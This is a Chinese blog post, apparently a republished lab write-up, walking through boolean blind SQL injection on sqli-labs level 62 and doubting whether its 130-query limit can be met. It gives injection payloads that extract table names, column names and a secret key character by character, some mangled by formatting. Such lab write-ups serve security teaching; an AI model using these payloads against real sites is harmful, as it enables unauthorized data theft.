SQL注入实战:关于sqli-labs62关的通关疑惑

admin 2026-02-09 01:11:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细讲解了sqli-labs第62关的布尔盲注实战流程,包括确认注入点、判断闭合方式、使用二分法逐字符爆破表名和字段名等技术细节。作者指出该关卡限制130次查询,而实际测试中发现仅获取10位随机表名就需要约70次请求,后续获取secret_key长度更长,理论可行但实际可能因查询次数不足而失败,表达了对现有通关方法可行性的质疑。 综合评分: 78 文章分类: 渗透测试,CTF,WEB安全,漏洞分析


cover_image

SQL注入实战:关于sqli-labs 62关的通关疑惑

原创

武文学网安 武文学网安

武文学网安

2026年2月8日 04:52 中国香港

大家好,我是武文。今天继续学习挑战sqli-labs

经过实践,第59~61关与58关一模一样,仅闭合方式不同。

| | |

| | | — | | |

| | | — | | |

| | | — | | |

| | | — | | |

| | | — | | |

| | | — | | |

| | | — | | |

| | | | — | — | | 关卡 | 闭合类型 | | 59 | 整数型,无闭合 | | 60 | “) | | 61 | ‘)) |

为提高效率,今天直接来挑战学习第62关。

今天我们只讲:🔥 真实手动通关流程


一、Less-62 的核心信息

题目:GET-challenge-Blind-130 queries allowed – variation 1

关键点:

① GET参数


?id=


② 闭合方式

经过测试:


1′)


成立。


③ 无显错

页面:

  • 不显示 SQL 报错
  • 没有明显 TRUE/FALSE 提示

所以:

👉 只能盲注


④ 查询次数限制130 queries allowed

意味着:必须减少无效测试。


二、第一步:确认注入点

测试:


?id=1′)


页面正常。

继续:


?id=1′) and 1=1 –+?id=1′) and 1=2 –+

![](https://mmbiz.qpic.cn/sz_mmbiz_gif/5vTt22mqAAx8nggq3GWMCdA6ZuZ9qY0MR6riayau7J2nAjjw09d7POJt5LzXm99AjzMSictLd8gneNhSQWnKx2gogQNtiblmZrLyy5HPFBf07k/640?wx_fmt=gif&from=appmsg#imgIndex=0)

观察页面差异。页面内容不同

说明:✅ Boolean Blind 可行。


三、Less-62 最大关键点

不是用 ORDER BY。

不是用报错。

而是:


AND(boolean expression)

直接判断 TRUE / FALSE。

四、确定数据库(关卡一开始已经明示)

题目名称已经提示:challenges

所以:直接跳过 database() 枚举。


五、获取表名(手动核心)

Step1:判断长度

Payload:


?id=1′) and length((select tablename from informationschema.tables where table_schema=’challenges’ limit 0,1))>10 –+

![](https://mmbiz.qpic.cn/mmbiz_png/5vTt22mqAAyYRG9LtHia9bL83cStzF7SYFad6YQO5RibMIVXibt91aHK13nIgkyudiaLEVMSeBWTVXR247icbhDtbuUkNnCLbKgnqA76lZ83MGMo/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=1)

不断修改数字。直到页面正常显示。可以得出当前数据库长度为10.


Step2:逐字符爆破

核心 payload:


?id=1′) and ascii(substr((select tablename from informationschema.tableswhere table_schema=’challenges’ limit 0,1),1,1))>100 –+

逻辑:
TRUE  → 字符ASCII更大
FALSE → 更小

使用二分法:

例如:


77>109>93


逐步缩小范围。

得到第1个字符。


重复:


substr(…,2,1)substr(…,3,1)


最终得到:随机表名


六、获取字段名

原理完全一样:


?id=1′) and ascii(substr((select columnname from informationschema.columnswhere table_name=’随机表名’ limit 0,1),1,1))>100 –+

得到:
secret_xxxxx

七、获取真正的 SECRET key

最后:


?id=1′) and ascii(substr((select secret_xxxxx from challenges.随机表名 limit 0,1),1,1))>100 –+


逐字符获取。


✅ 本质:

标准 Boolean Blind。


八、减少查询次数技巧

1️⃣ 二分法

ASCII范围:32-126

每字符约:7 次判断


2️⃣ 直接猜字段前缀

根据前面几关的测试数据,Less-62 常见:


secret_


可直接验证:


substr(…)= ‘secret_’


减少大量查询。


3️⃣ group_concat 技巧

一次获取多个字段。


九、总结与疑惑

看了很多其他博主关于这关的通关方式,都是本文方法一致。但我测出来光随机的表名长度为10,每字符约7次判断,单独测试出表名都要花费约70次代价。根据前面几关的通关经验,后面的secrete key长度更长,130次机会根本不够用。所以本文的方式在理论上是可以行得通,但实际大概率会有问题。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《SQL注入实战:关于sqli-labs 62关的通关疑惑》

评论:0   参与:  0